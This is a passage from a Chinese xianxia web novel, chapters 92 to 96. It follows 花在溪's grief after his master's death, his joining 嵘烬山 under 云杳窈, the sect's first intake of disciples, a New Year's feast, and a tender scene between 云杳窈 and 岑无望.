花在溪身着麻衣孝服,连点缀着赤金花纹的红色抹额都取了,换成了白色孝帽。 他声音很冷静,似乎只是在寻求一个既定的答案,可是细细看过去,他眼眶已经发红,甚至不敢轻易眨眼。 只恐在人前落泪。 定渊这个老头为人开明和善,云杳窈虽不是他的弟子,可亦受过他的恩惠照拂,是以听闻他骤然离世后,先冲乾阳宗的方向遥遥一拜,以表哀思。 “节哀。” 再抬头与花在溪对视时,她沉着应答:“如果你口中的凶手是指岑无望,那恐怕要让你失望了,他没有理由对定渊长老下手。” “凶手的目的不在我师尊,他是冲我来的。”花在溪说。 云杳窈点头:“当日在襄华王宫内,你也分明看得真切,那凤凰羽想将你焚烧殆尽,如果真是岑无望想对你下手,何必借凤凰羽之力?你来之前其实就应该猜到了凶手是谁,只是你不肯相信,所以一定要向外探求答案。” “那我就告诉你,杀害廖枫汀与定渊长老的人,就是晏珩。” 花在溪的脸色一点点苍白下去,他何等聪慧,并非不是不知道谁才是真凶,只是他不能相信这个人竟然真的是晏珩。 要去怨恨这样一个强大又极富盛名的人太过痛苦,仇恨和无力会来回拉扯他,让他喘不过来气。 所以,当好友廖枫汀死去时,他只能强行怨恨岑无望。 连日的奔波和巨大的痛苦将他摧残得身心俱疲,他意气风发的人生似乎从看见廖枫汀死去那一刻就结束了,往后的日子不过是残存的幻影,而定渊的死再度加深了这种残酷,让他不能再自我麻痹。 悲痛之下,花在溪猛地吐出一口血。 奇怪的是,他并没有感觉到丝毫痛苦,甚至在抹去唇下污血后笑了起来。 直至第二口血再次涌了上来,他才发觉自己麻木的心口传来阵阵余痛。 怪只怪,他太过后知后觉,非要酿成大错才肯相信云杳窈当日所言非虚。 事到如今,花在溪已然看明白了,廖枫汀与定渊皆是为他所累,晏珩两度下手,都是想让他死在乾阳宗的地界之外。 所有的人,都是在替他承受苦果。 花在溪笑得不能一时言语,即便是握着剑也不能支撑自己的身体。他滑坐在地,手被本命剑割伤,光亮的剑身随之留下长长的血痕。 好半天,他才缓过来点力气,喃喃自语。 “可是,我怎么值得这么多人以命相护。” 第93章 “我哪里值得他如此大费周章。” 花在溪脱力,跪在山道间,喉间充斥的血腥气叫他几欲作呕。 “为什么?”他缓缓仰起头,注视着不远处的云杳窈,就像是抓住迷航中唯一的希望。 他想要向外索求答案,却发现自己不知从何问起。 “如果想要我的性命,尽管拿去,为什么要这样折磨我。难不成靠近我的,都要遭此厄运,那下一个是谁?” 擦不尽的血从他口中和鼻腔溢出,眼角亦隐有坠血泣泪之象。 本命剑感应到花在溪的变化,不断躁动,发出阵阵嗡鸣声。 花在溪已有走火入魔之势。 云杳窈以鉴义渡灵,强行唤醒他的神智:“至少你还活着,活下去才有希望,才有可能报仇。如今你寻死觅活,也挽回不了他们的性命,不如好好想一想,晏珩究竟是意欲何为。” 境界倒退不可阻挡,花在溪眨了眨眼,耳内一片嘈杂,一会儿是定渊的谆谆教导,一会儿是师弟们叽叽喳喳的叫喊,云杳窈的声音就像是隔了一层膜,听不太真切。 他身体的颓势也不可阻挡,五脏六腑近老,两鬓乌发悄然发白。 可是执念未消,花在溪咽下一口血,硬生生点了身上几个穴位,让即将流逝的灵力堵在体内经脉里。 撕裂般的痛苦拉扯着他,他忍着剧痛,强撑着自己站了起来。 如果境界再掉,就真的什么都没有了,所以他宁肯折寿,也不能放任灵力流失。 “多谢你解答我心中疑惑。”花在溪喘了几口气,眼前一片昏花。 他拔起深嵌入大地的景星,向云杳窈抱拳行了一礼。 礼毕,他带着剑,跌跌撞撞走进林间迷雾。 与此同时,止戈翩然落地,站在云杳窈身后,还没打声招呼,便听见云杳窈喊住前方少年:“你还是要回乾阳宗吗?” 那个向来桀骜挺拔的背影,因负担着过重的愁与恨,竟也微微弯曲下来, 他闻声,停了下来,不过并没有回头。 花在溪是个认死理的人,他深吸一口气,尽可能平静:“我无处可去,我也必须回去。” 云杳窈摇了摇头:“现在回去也是送死,不如留下来吧。” 她走近,立在花在溪的一步之外,抬手为他拨开林间道路上的迷雾氤氲。 “当然,我不强人所难。是去是留,我都尊重你的意愿。” “君上?”止戈疑惑,她看着不远处狼狈的花在溪,虽然不忍,但是还是出声暗示,想让云杳窈收回刚才的想法。 嵘烬山是她心中最后的净土,她不想让外来者踏足。 云杳窈却咳了声,假装没听出止戈的言外之意,继续看向花在溪。 他的肩膀微微颤抖,向前走了几步,可是又像是想起来什么,猛地止步,回头向云杳窈问道:“我不会永远留在这里,如果我有一日要下山……” 云杳窈微笑:“十年内,你不得擅自离开,供我驱使遣用。十年后,去留凭君意,山中无人可干涉。” 花在溪抿了抿唇,道:“我需要一座练武场,还有宝物库与炼丹房,以及一方可以休憩的榻。” 云杳窈点头:“这是自然,眼下开山收徒在即,我会为你与新入门的弟子专门划出一片区域,你想要怎么布置,怎么使用,都无所谓。” 止戈还没能接受花在溪,就骤然听见云杳窈决定开山门收徒一事,她压住心头的疑惑和不满,抱臂等在一旁,斜睨着花在溪。 花在溪道:“好。” 云杳窈用灵气化出一只红羽金尾鸟,它停在花在溪肩膀上,甩了甩尾羽,侧着小脑袋梳理翅膀上的羽毛。 “即日起,你就暂代始鸣峰长老一职,定渊长老从前如何教导你执掌一峰职责,你便如何做吧。” 红羽金尾的小鸟啄了啄花在溪的肩膀,云杳窈看见后,指尖微动,隐去的鉴义瞬间显形,将它的动作牵制住。 “当然,十年期限内,灵雀会监视你的一举一动,如有异心,我绝不留情。” 仇恨能够暂时将两人拉成同盟,可是人心易变,尤其是以花在溪的心性,出身名门,年少成名,有些小聪明,从前有定渊撑腰,喜欢在规则边缘试探冒险,心性难定。 如今心有一腔热血恼怒,若是再不加以束缚,恐怕会生出祸端。 云杳窈急需用人,因此才愿赌一把。 花在溪瞥了灵雀一眼,没有犹豫:“好,我答应你。” “后山有灵泉,且让灵雀带你去沐浴疗伤。”云杳窈挥挥手,灵雀展翅前行。 花在溪只能赶忙御剑跟上。 待人走远,止戈才哼了一声。 “君上,恕我直言,即便是我们要广开山门,可让这么一个毛头小子执掌一峰,恐怕不妥。” 云杳窈未抬眼,自顾自看着脚下路,缓步上山。 她知晓止戈心中有怨,所以先赞同她的说法:“是啊,花在溪确实有些年轻,也确实不够稳重。” “但是,留给我们的时间实在不多了。” 云杳窈话锋一转,微微侧首看止戈:“我问你,若我们毫无准备就开启山中首轮遴选,愿意拜师学艺的世家子弟几何,能教导他们的山中人又有几何?想让那些本就占尽优势的世家子弟与修者大能背叛宗族和门派,改投嵘烬山,实在是异想天开。” 嵘烬山不可能一直封闭,云杳窈已经想过了,仅凭山上几个老弱病残,很难与晏珩身后的乾阳宗抗衡。 所以云杳窈不能和止戈一样,死守嵘烬山的旧规,故步自封。 灵族与人族的融合势不可挡,或者说 ,已成定局。 即便止戈不愿承认,但在千年的时光里,已经有灵族脱离恶鬼身,转世成功,留在了此世尘中。 山门开启是迟早的事,即便这一世的云杳窈没有做到,在她力所能及的轮回中,总会走到这一步。 鉴义结合众生之愿,以情而聚,云杳窈亦能借此能力感知、影响、控制他人。 从这一点来看,花在溪实为一颗近乎完美的棋子,一颗并不显眼,甚至势单力薄,可若他愿意为云杳窈所用,这场遗留太多年的残局就能更快启动。 正如云杳窈所说,时间不多了。 除却收徒事宜之外,她还需要长期闭关,让自己的力量重回巅峰。在这期间,她需要几个能够代她打理嵘烬山事务的人。 花在溪未必是最好用的,但他如今身为一峰之主,出身启宁花氏,又是定渊爱徒,向来在几大家族中的小辈里声望颇高,其影响力不容小觑。 云杳窈打算如其他宗门一样,广收弟子。 只不过,那些名门宗派多与世家联合,修道途径与资源几乎被垄断,其余小门小派苟延残喘,难成气候。 “根骨奇佳的天才多出自仙门世家,那照这样说还不如不收徒。”止戈撇撇嘴,有点故意与云杳窈置气的嫌疑。 修道之事,本就是天赋根骨胜过努力。 有人终其一生摸不到门槛,有人出生就能无师自通,掌握灵力。更有甚者,还能突破常规,自创功法。 然而成功是难以复制的,有能者各显神通,平庸者只能在度过漫长岁月后,绝望发现自身局限与所求如隔天堑。 这种差距,人们称之为命。 “你啊。”云杳窈伸出手,无奈在止戈额头上轻弹了一下。 “如果都甘心屈居人下,碌碌无为,那么就不会出现那么多前仆后继的人了。其实多数人在入门测根骨那日,便能知晓自己此生能走到的极限在哪里,在亲眼见证天赋赐予的残忍差距后,仍能不改初心的,要么是执拗的傻子,要么是心有不甘的蠢人。” “仙庭很公平,严防死守着,不让任何异类掌握话语权,你、我,以及所有被质疑的灵族亡者,都在此列。” 云杳窈双手重新交叠在身前,隐在随风飘动的纱袖中。她抬眼看了看万年不变的天空,心道这才是最易变却真正更古不变的景色。 “幸而天道虽高远,却仍有慈悲。它有时也会在俯瞰中垂首,予死境中的绝命者生机一线。” 地有尽,天无穷。 风雨只能变其色,而不能动其神。 天际流云缓缓挪动,谈话间,遮天蔽日的云雾聚集在整片嵘烬山脉上空。 风雨欲来。 “你看,”云杳窈重新将目光放回眼前,她指了指周边的草木,“花草树木,是这世间最基础的生灵,有时人们会把最基础误认为最低等,所以认定它们柔脆无比。可是千年过去了,连鼎盛的灵族都仅剩下几人而已,草木却一岁一枯荣,即便大火燃尽整座山脉,它们仍旧会在某年春日重新挣脱灰烬,肆意生长。” 有关她成为堕神后,在绝望中自焚的痛苦是一片空白,云杳窈却能隐隐回忆起来,她灵魂飘至半空时看见的一片焦黑死寂。 她长叹一口气,像是要把肺腑里淤积多年的烟尘一并吐出去。 “太好了,竟还能见证如此繁茂葳蕤的华光胜景。” 一滴雨落在云杳窈挺翘的鼻尖上,她眨眨眼,杏眼微睁,似乎从漫长回忆中醒过来。 她双手一拍,清脆响亮,倒是引来止戈惊讶挑眉,侧目而视,以为她想到什么能一举解决眼下所有困境的办法。 谁知她提起裙摆朝前跑去,似乎很着急,跑了几步,听不见背后脚步声,还回身催促止戈:“快跟上啊。” “有什么急事吗?让我来。”止戈牵住那只朝她伸过来的手。 布满了握剑留下的薄茧,这是云杳窈虽然爱美,却仍心甘情愿留下的勋章。 “很急,”云杳窈说,“岑无望如今可经不得风雨,需得快些回去才行。” 止戈语塞,道:“不能御剑吗?而且岑无望又不是傻子,下雨了应该知道往檐下躲吧?” “不能御剑,若是御剑凌空,可能就遇不上他了。”云杳窈认真道。 果然,她们二人还没跑几步,被荒草埋没的道路上,岑无望执伞而来。 草间落雨沾湿青衣,山道逢雨必有风,林叶婆娑,其声奏和着雨打风吹之声,自然灵动。 他平生最善以音侍奉神灵,却一字未言,唯有眼中脉脉情深。 伞倾斜过来,云杳窈顺势钻入伞下。 止戈这才想起聚灵挡雨,她看着雨中一对璧人,小声嘟囔:“打什么伞啊。” 第94章 门规章程由花在溪拟定,再经云杳窈调整修改。 山中浮岛与建筑多仿照灵族旧式,来不及进行重新搭建。除却开辟一片荒地做练武场外,就只添置了一样新物件——神女像。 不过这样东西并云杳窈嘱咐定制,而是姜娆相赠。 开放嵘烬山的前一日,有长队人马自西而来,约莫百人,他们此行目的有三。 “一是献礼,庆贺嵘烬山重现真面目,祝愿嵘烬山荣光万年,繁荣昌盛,尽收天下奇才。” 为首的是位熟面孔,自年少就与姜娆生死相随的侍女忍冬,她如今华服锦衣,头戴纱帽,恭敬却不谄媚,稳重得体,礼仪规矩无一错处。 她给了身侧随行的年轻女孩一个眼神,那名女孩应当是忍冬的徒弟,所以即便是年纪小,可没有人敢越过她,她亲自掀开层层包裹的红绸。 云杳窈一眼就认出来了,这是那尊藏于崇仙阁地下的神女像。 受姜氏王族与天下香火供奉千年,自王都陷入叛乱后,被邬盈侯斩去一臂。 如今不知被哪位能工巧匠修复,在断裂臂膀处用了如藤蔓一般的材质固定住,看起来就像是臂环。 “这是谁的巧思?”云杳窈摸了摸,竟然能看到藤蔓以极其缓慢的速度继续生长。 “并非人为,”忍冬解释,“原本拼合好了之后,神女像的手臂一直被麻布缠着。宫内匠人本打算找到合适的金属来固定修复,可是等再次揭开麻布,神女像竟然自己长成新枝。” 忍冬笑了笑:“枯木逢春,神像自愈,都是千载难逢的奇景逸事,所以陛下让我们将旧时神女像送来。” 说到这里,忍冬又继续补充道:“如今自王都起,襄华境内有不少人闻此奇讯,重新为各地庙宇内的神女像塑身雕刻。陛下亦准备迁都,定址东南,希望仙子能为新都提名。” 云杳窈拿起被人奉到身前的笔墨,思索片刻,在洁白纸面上写下两字。 毓新。 “此行第二件事,是为按照约定,迎接国师入宫。” 云杳窈点头:“这是自然。” 她唤人上前:“箬竹。” 接着,她以鉴义渡灵,将箬竹点化为二八年华的少女模样。 “且下山教化两位鬼胎小儿。” 云杳窈封存了箬竹身体内的鬼气,让她日下显影,看似与常人无异。 因为是众人提前商议好的事,也和山下的姜娆通过信,箬竹早有心理准备,她虽然力量大不如前,多受束缚禁制约束,不过还是要比寻常人自在许多。是以看起来没有半分忧虑,甚至有点兴奋。 倒是止戈,满面愁容,眼珠子只顾着盯箬竹,生怕少看几眼。 “最后一件事,则是留五十位襄华少男少女,他们都是按照要求您的要求,精心筛选出来的年轻人,是襄华和嵘烬山共同的希望,万望诸位善待他们。” 云杳窈点头:“这是自然。” 她侧目而视,突然说:“不如将她也留下来。” 修仙问道,长生长乐,不知被多少人羡慕。 云杳窈既然说出口,忍冬也不好直接开 口拒绝,苦笑侧脸低头,问身旁人:“嫣晴,掌门赏识,还不上前谢恩。” 嫣晴的目光在两人间徘徊一阵,上前行礼,却道:“请掌门恕罪,嫣晴已决定终身侍奉师父,她待我如亲女,我不忍弃她而去。” 云杳窈没有多留,在嵘烬山境内,她眼中的一切人与事都通透明澈,所以这个孩子在凡间的命数也能被她看个大概。若无方外之人强行介入,此女眼光独到,又多得贵人相助,恰逢姜娆新政,她很有可能会成为襄华历史上的初代女官,定会青史留名。 不过不求仙缘求钱权,也并非容易的事。朝堂之事牵连众多旧时官宦氏族,其路之险,难以预测。 若是决心踏足衮衮诸公之地,每一步皆是如履薄冰。 旧族门阀视新政如洪水猛兽,恐怕要视这些初出茅庐的女官为眼中钉、肉中刺,岂容她轻易登顶?纵有贵人扶持,那贵人自身亦是风口浪尖,一着不慎便是满盘皆输,连带将她碾作齑粉。 青史之名,从来由血泪与白骨书写,这初代女官的仕途前程,注定要以百倍千倍的代价去交换。 姜娆身为唯一一个先王血脉,仍要面对诸臣诘难,更何况一个初初踏足官场的嫣晴? 鉴义所示,嫣晴此人的命弦太短,回声却悠长。若是寻仙以求长寿,尚有可能改命,否则,只能是昙花一现。 可转念一想,此时不止是她缺乏根骨奇佳的人才,襄华也需要能够推动风云变化的新人。 前路迢迢,何必为了此刻的命弦回音而踌躇。 云杳窈到底没有明说,只点头:“好孩子。” 她吩咐花在溪:“师弟,你去带这些孩子安顿下来,明日开始,待山门再次封闭后,一起测试根骨天赋。” 花在溪一愣,随即应下,带着满心好奇的一群人往山上走。 途中有一位不及他腿长的小童,在一众少年里格格不入,他被一名年长些的孩子牵着,走了好一会儿,才发现没看见熟悉的大人们护在队伍身后,于是嚎啕大哭了起来。 花在溪看着他未长齐的牙齿,俯身抱起了他。 一如当年他千里寻亲,走到乾阳宗半山腰,没等到他负心薄幸的亲父,却等到了骄纵他半生的师父。 不同的是,花在溪忍着脾气,一滴眼泪都没有掉。 而那时的定渊,远比他和善得多。 几十年前的定渊和他如今一样,已初现老态。 他站在那儿,笑眯眯问他:“要不要跟我回去,我收你做徒弟,你喊我一辈子师父。” 一日为师,终身为父。 花在溪那时候不懂得这句话的分量,当时只道是寻常。 积攒多年的情绪终于爆发,如果无人轻声怜慰,他或许根本不知道什么叫委屈。 花在溪被定渊牵着走了一路,眼泪就掉了一路。 有一只手轻轻抚摸他的脸颊,替他擦去不知不觉间掉落的泪水。 “不要哭。” 花在溪猛然从回忆中惊醒,怀中的稚童和当年的定渊一般,手忙脚乱替他擦去满面泪痕。 原来倏忽之间,天地已翻过那一篇。 未几,嵘烬山上经年不散的迷雾中,突然显现出一条望不到边际的长路。 自襄华最东边的国土开始,嵘烬山不问出身、过去的事,像是在整片平静水塘中投掷了一颗石子,泛起层层涟漪。 而云杳窈,仅仅参与了首批收徒大典,她门下弟子并不算多,且大都出自提前进入山门的襄华内选子弟。 并非她挑剔,而是实在没有多余的精力去教导这些人。 即便是挂在她名下,也是丢给止戈和花在溪指导。 云杳窈长期闭关,每有感悟,便下山寻人,逐一给名门宗派的大能发帖,登门过招。 偶尔也会化身凡人,前往海外求索新知,回来后再融会贯通,感悟新的招式技法。 只有一个例外,她会在每年除夕夜幕降临前现身,从不例外。 不过寻常人也很难有机会在此时敲门拜访。 云杳窈每年的这一夜都要到最高的浮岛上守岁。 浮岛的宫殿高耸入云,如在天际,是整个大陆上最邻近天的地方,附近被法阵所笼罩,普通弟子即便是御剑,也无法登岛。 逃课躲在必经之路上的几名嵘烬山弟子目送她登岛。 其中一个惊讶道:“哇,大师兄,你说的果然没错,掌门不御剑也能飞。” “那是,你们不信典籍都不能不信我,我是谁?我可是你们的大师兄!”花有期挑眉,活脱脱就是个皮猴模样,他整日在山中为非作歹,挑着门规空子钻。 山中新上任的长老都不如他记诵熟练,好几次被他气得上门找花在溪要说法。 看着师妹、师弟们崇拜的眼神,花有期眼珠都没转,就又想到了一个馊主意。 他三两下解除头上的红金抹额,中心的红玉是一件能够随身佩戴的法器。花在溪修炼多年,终于能够燃出与凤凰羽火焰类似的火苗,而且同样能够寄身于法器内,无物自燃,千年不散。 花有期求了好久,才求来这么一根被灵火寄身的法器,挂在抹额上,恨不得睡觉都不取下来。 “大师兄,你这是准备干嘛?”花有期的师妹歪头询问。 花有期压低声音,却压不住语气中的炫耀意味,神神秘秘道:“你们想不想看看最高处的风景?” 几人没有犹豫,玩心大起:“想!” 俗话说法不责众,而且花有期向来觉得自己是个敢于挑战权威的人,他仅剩的那点忐忑和心虚在一双双期待的双眼中逐渐迷失。 “可是要怎么做?不是说这些法阵是南荒阵修聂清光所设,阵中还有木精亲自看守,怎么可能就简单破解。” 花有期见师妹有所怀疑,更加坚定了今日破阵上岛的决心。 “我观察了,这些法阵除却防御功能外,还有增加了温养灵力的功能。法阵中的木精根本阻拦不了我,只要等会我用师父给的灵火将法阵烧出一个小洞就行。” “可是,法阵自我修复的速度很快,这真的行吗?”花有期的师弟问。 “要是过不去,说明你们御剑的基本功不过关,”花有期敲了他脑门一下,“再说你怎么这么笨,跟紧我不就好了?” “哦。”师弟撅着嘴捂住脑袋,不情不愿回了他一声。 眼见着天都快黑了,花有期不再犹豫,将抹额向前一抛。 在灵力的辅助下,抹额越延伸越长,上头的红玉还在斜阳中闪着点点火光,眼见着就要烧到法阵上了。 砰—— 远处有一颗石子飞来,精准将这条抹额砸歪,上面的红玉也掉了下来,不过没有砸向地面,而是飞向掷出石子的人。 花有期刚想愤怒质问,看看是谁敢坏他的事。 结果被花在溪的威压硬生生摁在地面。 “逆徒,你们几个险些闯下大祸。”花在溪蹙眉,落地时劈头盖脸就骂了起来。 第95章 花在溪摩挲着红玉,手中火焰升起,直至红玉表面细小的伤痕全部补齐,重新变得光洁平整。 “凭你们几个,没有越过我的本事,竟还敢惊扰掌门?”花在溪提起花有期的耳朵,“我要是再晚来一会儿,你们一旦进入法阵内,就会成为木精的养分。” 花有期连喊好几声疼,花在溪才把他放了回去。 “一群不知天高地厚的东西,滚回去挥剑一千次,今天做不完不准吃年夜饭。” 花有期揉着耳朵,刚准备和师妹一起回去,抬眼刚和花在溪对上视线,就听见他严厉道:“尤其是你,再加一千次。” “凭什么!”花有期不服气。 花在溪简直要被他气笑了。 “你还敢问凭什么,没你在前冲锋陷阵,他们几个怎么会想到跑来这里?就你鬼主意多,快滚回去,以后没我的允许,不准再靠近这里。” 花有期气鼓鼓 跑走了。 他这位师弟是个怂包,忧心忡忡道:“师兄,你以后还是少惹师父生气。师父明明是门中最年轻的长老,现在头发都快白完了,你还是少气他了。” 花有期一肚子火没处撒,他涨红了脸,怒气冲冲道:“我就气他,这也不许那也不许,我可听说后来进门任教的长老说了,他年轻的时候可没少闯祸,怎么偏偏爱指着我的鼻子骂,严于律人宽于待己……” “那你哪一天真把他气死了,怎么办?师父的衰老速度比没修行的凡人还快,他好像还不到一百岁。” “呸呸呸,”花有期脸更红了,“你说什么混话呢?我死了师父都不会死,看起来老是因为师父年纪轻轻就当上了长老,怕不能服众,所以才特意用了这么一副稳重的外表,是他特意伪装好吗?如果师父愿意,他大可以自己炼驻颜丹啊,师父炼丹也很厉害的。” “师父肯定还能活一千年,他现在是应天境界,命长着呢。”花有期的师妹也说,“我看了古籍,说得道成仙能活万年,与天同寿。师父是我见过最厉害的人,他肯定能活到一千岁!” “不对,是一万岁!”花有期补充道。 “两万岁!” “三万岁!” 几人吵吵嚷嚷来到练武场,开始老实按照花在溪的话挥剑一万次。 花有期承袭花在溪的心法剑招,尽得他真传,挥剑速度很快,一练完就丢下剑,摆摆手说:“你们先去吃饭,我去叫师父一起去。” 说完,抄小道跑回了花在溪的住处。 花有期猛地推开门,看见仍在院中练剑的师父,早就在挥汗如雨的练武场上把刚刚的不愉快忘记了,他高声兴奋道:“师父,一起去吃年夜饭啊!” 这是嵘烬山约定成俗的规矩,人间的节日气氛没有被山门阻隔,最热闹的就是年节前后,来自大陆各地的弟子们汇聚于此,远隔万里,仍不孤单。 同门就是家人。 “不去。”花在溪拒绝。 定渊死后,他再也没有家人,在嵘烬山教导这些弟子不过是恪守职责,没有义务陪他们玩闹。 “走嘛走嘛,”花有期笑嘻嘻道,“年前有位乾阳宗的徐姓仙子托人送礼过来,说是送给掌门的乾阳宗特产,掌门留了一半,剩下的分到宴席上,师父您出自乾阳宗,不想尝尝旧时风味吗?” 小孩子不记仇,抱着他的袖子不肯罢休。 为了不被他扯掉整件外衫,花在溪只能黑着脸跟他一起走。 师徒两人半推半进入宴会大堂,无数弟子正举杯庆贺,止戈也在。 前段时间水患瘟疫盛行,她下山平乱,回来时带了个小孩儿,正新鲜着,走到哪带到哪。 “你来了。”止戈好酒,又逢年节佳期,这会儿已经喝得微醺,对花在溪的出现毫不意外。 她搂过一旁小孩的肩膀,将人拽到自己身旁介绍道:“你还没见过吧,这是我新收的徒弟,我打算收他做徒弟,叫照夜。” 说完,歪头掐了掐小孩儿的脸:“照夜,快跟花长老问好。” 那个小孩眼睛很亮,在一众勾肩搭背,分外热络的弟子中格格不入,他像是一匹误闯进人群的狼崽子,看人满眼警惕。 他紧攥着止戈的窄袖,没有出声。 “这么跟锯嘴葫芦似的,”止戈道,“吃饭的时候狼吞虎咽的,该说话的时候又不出声了。” 花在溪看出他不愿张口,并不在意,一句话就把这件事翻了过去。 “有人给掌门带了什么特产,还有剩的吗?” “有的,掌门记挂着你,特意留个你的,压根没人动筷子。”止戈抬手指了指面前的盘子,上头摆满了辟谷丹。 她盯着那盘丹药,道:“我下山偶遇一个女子,她看见我身上玉牌,说自己跟君上是旧相识,我便想着君上闭关那么久,带她回来叙叙旧。” “是徐清来吧,她从前确实和掌门关系不错。”花在溪没有喝酒,他每日只打坐两个时辰,等会儿还要回去练剑。 这些年他按照古籍上记载的残篇旧法,不断燃命提修为。 好消息是嵘烬山灵气充沛,远胜别处,天材地宝取之不尽,他的修炼速度才能达到如此惊人的速度。 坏消息是即便有前者相助,再加上每日吃数不清的丹药延绵寿数,也无法抵御这具身体的衰老。 练到应天境界后期,更是难以寸进,明明只差一点点就能再进一步,可是还是难以跨越这层壁。 极限到了这里,花在溪就更不敢荒废,除却打理门内事务,就只能一直练剑,不敢懈怠。 酒和茶喝多了容易手抖,花在溪吩咐弟子换一杯清水过来,取来一颗徐清来送过来的辟谷丹吃了起来。 看他面无表情嚼着辟谷丹,止戈啧啧称奇:“你们乾阳宗吃得这么差啊。” 这都能吃得下,丹药放在这么多珍馐中间,根本没有弟子感兴趣。 弟子端过来一杯冰水,放在花在溪面前。 止戈看着更惊讶了,她都替花在溪的舌头叫屈,拦住他:“对自己好点吧,你还喝冰水,来来来,换点有滋味的。” 她刚想让弟子去拿点温和的果酒,花在溪已然举杯饮尽,他毫不在意:“年少时听闻剑君饮冰啜雪,以此磨练心性,感悟剑道,我尚不解其意。在乾阳宗时,同门即便无缘修习无情剑,亦纷纷效仿,断情绝爱,不问红尘,我却偏爱烈酒鲜衣,非要做最招摇最醒目的那个才好。” “如今想来,应该早点戒酒戒情,说不定我就能早点达到归元境界了呢。”他自嘲般笑了笑,让止戈看着有点不是滋味。 但她天生就是灵族,后又经灵君托举,到仙庭修习,是当世唯一一个既是上古灵族,又保留仙籍的人。 所以花在溪根本不觉得她能够理解自己,兴致寥。 正准备起身,听见止戈说:“不一定啊。” “人不能太憧憬没走过的那条路,”止戈说,“你愿意成为小剑君,或者是下一个微尘长老吗?” 花在溪愣了下,这回是真笑了,笑得周围弟子都侧目看他,似乎年少的他在这一刻回魂俯身,灿烂耀眼。 这么多年过去,他还是不怕被众人看,不过也不会再期待别人的目光落在自己的身上。 他早就不在乎了。 “算了,还是做我自己吧。”花在溪说,“不过我还是不能喝酒,这和口味无关,是我自己的选择。” 他将剩余的辟谷丹全数打包,这些辟谷丹的口味比他自己练出来的好吃些,许是各地水土不一样,明明是同样的药方,他怎么都练不出同样的味道。 这些辟谷丹留在这里无人赏识,真是可惜,不如便宜了他。 花在溪拂袖而去,路上听见子时熄灯的钟声响彻夜空,还没等来第二声,就看见无数烟花绽放在高处。殿前有无数弟子在看烟花,叽叽喳喳互送祝福。 他逆着人群,从热闹走向孤寂,半路巧遇新雪初降,纷纷扬扬洒了下来。 他鬼使神差停了脚步,想要接住一片雪花。 雪花还没落在掌心,就在半空消融不见,岑无望伸手,什么都没捞到,只好虚空握了握五指。 云杳窈不知何时从岑无望背后出现,为他披上氅衣。 “这么冷,怎么不披件衣服?”云杳窈道。 岑无望回头,看见她笑盈盈的言。 他说:“不冷,刚打开窗户,你就来了。” “骗子。”云杳窈将他的手放在掌心,呼出热气,又搓又揉,才让岑无望冰冷的掌心重新生出些温度。 “我看你是忘了时间,我上岛好一会儿了,看不见逢朽生春内有灯亮起,还以为你睡着了,于是便在外头等了一会儿。” 岑无望的手还是会再凉下去,整座宫殿都如在春日, “你怎么不喊醒我?”岑无望说。 “你觉浅,不想惊扰你安眠。”云杳窈说着,渡了点灵气过去。 “怎么醒了没有点灯?”云杳窈疑惑,她挥手,将满室点亮。 岑无望打了个哈欠,懒懒靠在她肩膀上:“忘记了。” 他闭上眼,似乎有点累。 “别睡了。” 云杳窈说,“我带你去看烟花好不好?” 岑无望说:“不是刚刚放过了吗?” 云杳窈这才松了口气。 很好,证明岑无望没有骗她。 她先前进来时分明叫了岑无望两声,却没听见岑无望回应,她还以为岑无望病情反复,已经到了五感渐失的地步。 能听见烟花绽放,证明他还是能听见声音的。 但是岑无望还是说:“算了,既然你都说了,那还是再看看吧,烟花在哪?” 云杳窈想了想,道:“我知道个小法术,让你在地面上也能看见烟花,你跟我来。” 第96章 云杳窈带着岑无望来到院子中的空地间,她聚起灵气,慢慢在手心凝结成两只光点,其中一枚光点往空中一抛,待超过墙高,她便弹指将另一枚丢出去。 两股灵力相撞,砰一声炸开,无数灵力星星点点洒落下来,比雪还轻盈,比火还灼热,比真正的烟花更恒久。 灵力形成的光不会立刻消失,在修道者眼中只会渐渐变弱,最后恢复最初模样,在空中与尘埃共生共舞。 “看,”云杳窈兴致勃勃,“喜欢吗?” 岑无望盯着半空的烟花,笑眼弯弯:“喜欢。” “但是你也别试探我了,”岑无望叹了口气,“我都记着呢。” 这些都是他从前哄孩子的招式,云杳窈年幼时爱哭又怕黑,偏偏还害怕声响。 把岑无望磨得没脾气了,就会点灵力给她炸烟花。 岑无望笑眯眯道:“有什么直接问我就好了,难道我还会瞒你不成?” 云杳窈抬起下巴,转身想要反驳,没注意到岑无望已经悄然靠近,致使她恰好撞到岑无望怀里。 岑无望张开披风,将云杳窈整个裹了进去。 骤然被温暖包裹,鼻腔里充斥着他清冽又熟悉的气息,方才烟花灼热的余温似乎未散尽,还掉落入怀。 光点簌簌落在披风外,透过缝隙,还能看见细碎的光屑如萤火般飘摇、坠落,映得他低垂的眉眼格外温柔。 岑无望的声音在头顶响起,带着胸腔的微震,低沉而清晰,仿佛是说给怀中人,又像是在回应那些散落的烟花:“我都记得呢。” 他收紧手臂,用手指去勾了勾云杳窈的腰带。 “天大地大,杳窈最大,你不发号施令,谁也带不走我,阎王小鬼都不行。” 他下巴轻轻蹭了蹭她的发顶,那弯弯的笑眼在披风拢下的阴影里,盛满了不容错辨的暖意和笃定:“所以,别怕。想问什么,直接来问我就好。我现在被你藏在浮岛上,你再不像以前那样,多来探望我几回,外头会以为我大门不出二门不迈,是被你厌弃后心灰意冷了。” 厚重大氅隔绝了微凉的夜风,却隔绝不了他的声音。 那些试探、那些盘旋心头的担忧,似乎都被这突如其来的拥抱和直白的话语,轻柔地、不容拒绝地按回了心底。 许久没听到岑无望嘴贫,云杳窈反而不习惯。 看见他仍然游刃有余,一副天塌下来有嘴顶着的轻松模样,云杳窈紧绷的肩线,在他怀中悄然松弛下来。 “净说这些不着调的话。”云杳窈在他怀里闷声道。 等光线黯淡了,院中仅剩下一盏残灯照着,原本紧紧将两人裹在一起的大氅也滑落了些许,岑无望再度弯腰垂首,拉近两人的距离。 他的呼吸很浅,喷洒在云杳窈脸上有点痒。 “既然你都试探我了,那我也要试一试你。”岑无望轻声道。 “你想试探什么,放马过来。” 云杳窈以为岑无望是想盘问她些什么,她自认没有什么问题能够将她难倒,于是抬头冲他扬了扬眉。 岑无望看着云杳窈一副势在必得的模样,勾起唇角,偏过头去,在她耳边低语。 “君恩未报,此身何用?都言救命之恩以身相许,怎我夜夜独守空房,却不闻恩人夜访敲门声。” 云杳窈强装镇定,实则心跳得厉害,还好夜色昏暗,她红透的耳根子不至于太明显。 不过毕竟是与岑无望相处时间久了,她也有样学样,很快便想到对应的借口。 